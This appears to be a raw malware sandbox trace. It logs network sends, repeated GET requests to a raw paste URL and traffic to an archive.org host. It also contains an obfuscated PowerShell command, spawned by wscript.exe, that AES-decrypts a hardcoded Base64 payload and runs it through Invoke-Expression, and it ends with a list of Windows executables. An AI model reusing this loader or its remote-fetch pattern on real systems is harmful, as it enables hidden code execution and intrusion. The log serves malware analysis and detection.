 buffer: p$ókº\GW’´ù¹:®ç16 ±ï´6ÓÔì{ ®ÔLéë55Ìmvã𫠝Ž£•¢#%ŒÌ~/•Å_Ál¾RÞVb˜#8ÝC{»þÕ}ʞ8dÊ+ŽÑÐüÐ> ãDñ$„™îåÐ ê°o«±ìpQµluû@¹ø$2øû·PÎ`+~:0JŠq­ú‰´T”aE†!`L¤¤ê½sž Œ*«æ¨Û°É]  #ø ÇD¬Ÿ/oçR8fzýáÌàdÛ.HE7‰ o½áÚ8Fæ;áR'9Ê#Ñ©¼’YĎ_0œ€ säq}¾x€€Î|è•­\ÙT°ÞKu,`Eˆ]«„K ö¦õwãdyÈê`Š†)Œcÿ™|ÑzSí*ãnîc¸OÙ» Ä%R0úÏ9BáØjÏf¹]ŽÍ1èPÖ.;p²ÑÁºÙ<¬k³|l•Xü6¼ÎӁ=SYŸ¿#rے‹›L"ê¦
socket: 1020
sent: 373
1 373 0

send

 buffer: !
socket: 912
sent: 1
1 1 0

InternetCrackUrlA

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: ÀèâÉð2¦†sáàŒ¯>L†¬ÎíÇ<u‡#½ÏÔmûÉe àøÚ¹o|[»ÀýÆTTk0K <õ%V(ý.s).¡;ÿ½|a|ˆ¤Põ‰³.9¾x:t^0©hpÙmèêK02Ñ¡ºFA—=(vZ€#–˜žCå3Eˇæ7º¤A»3©„Ä퐈 ·º&SŠ¶¬;2ßãšN¶g+AöŸUh¡}pIð›ÜV>9üßZF‰Ê ór[Èh‹Î–F”öVlû£ðâ¸Ô¢ºy„¨ú(;]ôFÕ1wPo”ô€´Ç:n) (ìÏ>H†„{Jœ8ÇðmvßvđäAĺç-g…÷‹}c¥—t:í Ö,áq߂æž|Y65ƒ–ù/Zu{F dJÚ¿½õñÑ+[…²´/¾Ó-ÌTNCv¦h/eÆI´Eq¬Ð‹Y£y_ìõ D¾±‹€Z3Hnßlz‡¹Ôò<ë…È& µÚžM*%éó\º>Ä'/¿F‹ÜÎnU©Ë.ýÁ f£Æ¸‚‰ÐÉ>bZÄ@•‹@@ÕñþϓÉ£(÷ }‰1§Îk!
socket: 1020
sent: 453
1 453 0

send

 buffer: !
socket: 912
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0010
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369364 0

send

 buffer: À?yÍ7"Øz¿ÇôP»žÙyðô,ãðˆ¨IÖ¼¦õ€-§`t†G`V|NÏÁ'”v†¡GùpËÌ1_*m>D[k˜L´ÓI)IH¶¥$æ dѳÉÚ ¾v˜[0=¬1ÁDXÚ§þñm󋧳½Äo. ϐTŽçxŸkF¿,O¹ËÞ,yYƆ–H„]†T=æú€Q±¸³•}½ ÊÜVâöŠ»k;øŒàXšn)¢²ëúŒß¢éuÈ ©ˆ¹aåFPÝàòI@s†’¹Ñ7ºè´˜èÍA&:7„ÙŽ3€5`ÄNÏJ *qCö Ä«Á} 64ô‡¡0d 1qoìº9<—¦ÌV‡û ÿ6¿©bü”…«È•ã\LÜU0g;ë7ÆòÈ3cZÙjg¹Ûz _ÛÒw’#H?„QùȆ©¿¬Z+Tö‚´¼ú"RCvƒ¾‚:TÛ"Sû‘:¤X™½Ò†ßhnÌxv¹4d ‚&Òv²̳è0 ¯©ñց;Çh»€ "4TüZ‘ò3"Àò-5={ ’ Ý}êÆÓk@«—ÄèÜPG½ùH·B²X/ø»Ó¢É×DNãÕe‡Ï
socket: 1020
sent: 453
1 453 0

send

 buffer: !
socket: 912
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: À@満ùëVrƒ©æU ú%¦Ý‰0ÅkU3([V䯮IóZExŸÈLÚ.C¯ ˆ*Ç(Ð+•ì֖ºáXªÍj.67ó&ºV½à‡.'ت¿——IܳcÖÔó6⅚ãÝr}ÓSëÊrR(]'¼ÔÄ¥Ò{?&‡ÑµfÂÃøäóT_¨ŽoâvH$&Ø12jö{=* –áC¥Á“çõ×ê¢*Õ£žÌl{ïÍ8?­£¬yƒNVÖO¢4ñTæÕ__1b@÷â ç;¹j›£}æjW/ß¡´]¢(õ…IýÝë%aZã^Kég·¶ã’T/æ>Ù6õk4BéDÚÙÊß<ªW}èx´&«|p´USMq3{ú©U£›‚°43pÚu¢ ¡Þ#'_G¢b ½­Û’×ÂÁytnÍT–Îåb@0b°{}݀M1KgrÓ‡à©ôá–6„1 bT˦ß~aÉÔséä ©“;[ä",¥Ÿƒ&ÇÙöäV8Y˜¶&NgcÐ ùȧ3ë}£€2Ê “¡Ð”|îïa{«Íß¹Fò?=þ³ì
socket: 1020
sent: 453
1 453 0

send

 buffer: !
socket: 912
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: ÀªývéPÒFÄÛÊc¨ô9ùú|€€]Ãa¼àW3x«ëo/Oz¼LÎk# '¶DSóMGDv¬ š”…4Hm¯ŠmpaöÛíF€Áèzfc {Ï>uÅ/yñöA!¶'#+&#ö›[  UTY Ï)®ìæy¾)á‚[PBÿ ÓѯDÕEc‡Ò¼O1`>€p sbÐtÕq‡S蜶[a‡8‰7Pá„ï*¯ò΃șðäօ}$Äûê+1¨ÙAi€Ž~ç*ñVM1šiŧ$Ì4ŒÍ7Ð?à-<úEa~X\ëÕÃKÀRzÕdFøÃ]X¬¹¶º°”ë" Zʅ댸 &Yñí6?ÓÄ3ÍCAkÿ*3©ý²n³QgÐDfëÖ_¤G”P½O¯™Qve¡ŽÒ£*,;ofôiªc>ȯuÓքšCÊ;È&¿Ð$Ô«ÞñÅ/¾M5GíOçñ=–ÛŒ<½¨qV®_~Ò–Y+‰g¾Ô‘t=.vřì÷Ô¼šÙ¤îß4,d[Ùe~÷ë6ZL¯Òn¯°åª­+OˆŸ™7¯ïm€
socket: 1020
sent: 453
1 453 0

send

 buffer: !
socket: 912
sent: 1
1 1 0

send

 buffer: zvf™äÛn[¨In¨ŒÞIÊdX‹…ò”ð¯ßͱr…«Bf/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1312
sent: 127
1 127 0

send

 buffer: zvf™ä‡ " îÓÐ<Iá‡%X)™,‰e¤»C1‚¢Ÿ /5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1312
sent: 127
1 127 0

send

 buffer: zvf™äøªú}̚9•a]h¯Z^ñü®™;˜`ƒ—çƬ/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1312
sent: 127
1 127 0

send

 buffer: zvf™ä—Üœãò}Wç{“~%dÆÅ?]“[UÅërb?´/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1312
sent: 127
1 127 0
parent_process wscript.exe martian_process powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI74115460793005066150640528154512CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIBcX2z+yHYAurR9wRGdEmBY9gsygsD0wTcVMNnCvyMXvCZBGstofcO0eLggg32bHakmmBeW+K0d/A4YAX0bX88QIRxfQgm0EqVio4414VVwainu+n1+Bk+RaJJKy+K5k9U25ih5rA6wT02wXRfDwNkF4oQA45ofWYOwuBphAHWfgBOJcnpBApew6eZIq1zt397t5QPlT4CXwWQlI/Y0Csvi8NcwPlt0ifD9dQxksA28kB7E/S421zDvplpb09h9jAg4ghwVScNWBh/jdbBW+8wuVddIdyJRScewA3UwklHJDY4x1jG0SiJ4IZXyBOgFpTWwbr0oWU8zDEYxzB95FZkaJeVZKR6tR69E3EL45VR/Q8S51xEJDrBJw/f1Ca15OdM8UoyxKmNku8Z2SBY93+f0yWTVuGDf/qt87W3ijvvtpBaQOY44D9Hf4HNnDcakBMZV+fwTdCZTvO9JnQYehsNPXdA6YR4sQUcHzPyTMxMUHIi44H2cYyrrNvz3aRcuEHnblhVXPC555IkF15dyYcoH+Krj7cG9q9sWqY/9RWCBbQ2MnTVpHyJy07HQuR9R9sjkOca/b7VF//luMcN0PjxzjZCfBBX49oApusoJYReURH+XIwH9++Qz0GpYE1BEpMd3VfuB59LNnx9q4+wtNKH4q2JAZwhPe1Mhb+CBlknuCj7W+RvMx6mFxozEusXpndJbp/Er8vkcq4V7ypObE9pOzb33qMgO4VftaXRAV40dSu0ZTn+6uX0ZoF8v5JgjdPDSZIOYOxoBeKO4mD2sM8EtefpbV7enHS/ChxecbW2XrPZbwFBTnjQOPzEBn3ks1pE2AI28+axe18oJ+AX56MItkZr+IyqcE929LmUK9r/EqOhdS2m3rHpkuAe0GahHIvodoBWrHqaqtjNjMlXAidWa/9OBfyftWMn+PEccpNd3GA+IX1kIUOYa5dk2+0fI3z8fd2xs+jy0XkIXQ+G/4h3LgxBb3WuNSXPkoIUeh5anvW9eIIV5QwIhB+rGLha2K+aRSd3CSqkA4mN8TlU+jwCmfxlTiBEMQSFsVqAygYtAnOGZ1mzkx2j+62RaaN7Kr6yNeeXWC9zhBL+dNi5EPZ8qndYnP1WQktNPDTJh+yjVPPg8t8Yepwz3DvcMSgwt2R0yopM2rIj+HOkTL82zyNEb/gVPbGTlOskyHjFjkimaDhnTw2V80ufsR32F8lsFTIWuHj7cfChaEB5aNg2HvYRGgiJwLhdooMLGFbQoVu20UdllJ+M6UJYgGxFnj7MYby900fHx84gjQaxsdPvDImbYJNHcrM2Qjd7FsiRCEBDWzZ6w1Ys/7eYf5yUKGhskls+AdwWgucYveot7t8xgn8xnyiyeFooboOEsd6E0kDLt0ggdgt80oq4ynf9nPUEeomAIXu6WY4z1/cVNC8+nQZs057RJ/LLXZhf3niT6+WjzDshkQ/moYrt8QQcQlOGzHWrAonMlPqVWtBb0VsPMpOEFd8ZjlO/QpsnO1oyJb2ISr24NQQb56IO4iu3ZCKJ5CeUH84R7V60Cd0cYEaTbLMSIamUJ2Tw4U0+5ul2N/44yOmxpWWo/VFS4Ez5M1nuHsGxN0AWM+s1vtxF2FUfjmFizdRSHEXxGjYV0wk7p+PQLIAR1SPi2VEnUiePgvGsb/Gz1p3ivlpZoHsloVGcgkYllOGZGZDfWx6IxqrcXQn+Ki6+m93tumKbXE0Jq/AGO888uiRcaIHwLXjzltoOzlnl18ZKmrgy/A1G5AmmoCPOXkv3rozXHambXLIQlJcJ4lcCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI74115460793005066150640528154512CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIBcX2z+yHYAurR9wRGdEmBY9gsygsD0wTcVMNnCvyMXvCZBGstofcO0eLggg32bHakmmBeW+K0d/A4YAX0bX88QIRxfQgm0EqVio4414VVwainu+n1+Bk+RaJJKy+K5k9U25ih5rA6wT02wXRfDwNkF4oQA45ofWYOwuBphAHWfgBOJcnpBApew6eZIq1zt397t5QPlT4CXwWQlI/Y0Csvi8NcwPlt0ifD9dQxksA28kB7E/S421zDvplpb09h9jAg4ghwVScNWBh/jdbBW+8wuVddIdyJRScewA3UwklHJDY4x1jG0SiJ4IZXyBOgFpTWwbr0oWU8zDEYxzB95FZkaJeVZKR6tR69E3EL45VR/Q8S51xEJDrBJw/f1Ca15OdM8UoyxKmNku8Z2SBY93+f0yWTVuGDf/qt87W3ijvvtpBaQOY44D9Hf4HNnDcakBMZV+fwTdCZTvO9JnQYehsNPXdA6YR4sQUcHzPyTMxMUHIi44H2cYyrrNvz3aRcuEHnblhVXPC555IkF15dyYcoH+Krj7cG9q9sWqY/9RWCBbQ2MnTVpHyJy07HQuR9R9sjkOca/b7VF//luMcN0PjxzjZCfBBX49oApusoJYReURH+XIwH9++Qz0GpYE1BEpMd3VfuB59LNnx9q4+wtNKH4q2JAZwhPe1Mhb+CBlknuCj7W+RvMx6mFxozEusXpndJbp/Er8vkcq4V7ypObE9pOzb33qMgO4VftaXRAV40dSu0ZTn+6uX0ZoF8v5JgjdPDSZIOYOxoBeKO4mD2sM8EtefpbV7enHS/ChxecbW2XrPZbwFBTnjQOPzEBn3ks1pE2AI28+axe18oJ+AX56MItkZr+IyqcE929LmUK9r/EqOhdS2m3rHpkuAe0GahHIvodoBWrHqaqtjNjMlXAidWa/9OBfyftWMn+PEccpNd3GA+IX1kIUOYa5dk2+0fI3z8fd2xs+jy0XkIXQ+G/4h3LgxBb3WuNSXPkoIUeh5anvW9eIIV5QwIhB+rGLha2K+aRSd3CSqkA4mN8TlU+jwCmfxlTiBEMQSFsVqAygYtAnOGZ1mzkx2j+62RaaN7Kr6yNeeXWC9zhBL+dNi5EPZ8qndYnP1WQktNPDTJh+yjVPPg8t8Yepwz3DvcMSgwt2R0yopM2rIj+HOkTL82zyNEb/gVPbGTlOskyHjFjkimaDhnTw2V80ufsR32F8lsFTIWuHj7cfChaEB5aNg2HvYRGgiJwLhdooMLGFbQoVu20UdllJ+M6UJYgGxFnj7MYby900fHx84gjQaxsdPvDImbYJNHcrM2Qjd7FsiRCEBDWzZ6w1Ys/7eYf5yUKGhskls+AdwWgucYveot7t8xgn8xnyiyeFooboOEsd6E0kDLt0ggdgt80oq4ynf9nPUEeomAIXu6WY4z1/cVNC8+nQZs057RJ/LLXZhf3niT6+WjzDshkQ/moYrt8QQcQlOGzHWrAonMlPqVWtBb0VsPMpOEFd8ZjlO/QpsnO1oyJb2ISr24NQQb56IO4iu3ZCKJ5CeUH84R7V60Cd0cYEaTbLMSIamUJ2Tw4U0+5ul2N/44yOmxpWWo/VFS4Ez5M1nuHsGxN0AWM+s1vtxF2FUfjmFizdRSHEXxGjYV0wk7p+PQLIAR1SPi2VEnUiePgvGsb/Gz1p3ivlpZoHsloVGcgkYllOGZGZDfWx6IxqrcXQn+Ki6+m93tumKbXE0Jq/AGO888uiRcaIHwLXjzltoOzlnl18ZKmrgy/A1G5AmmoCPOXkv3rozXHambXLIQlJcJ4lcCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe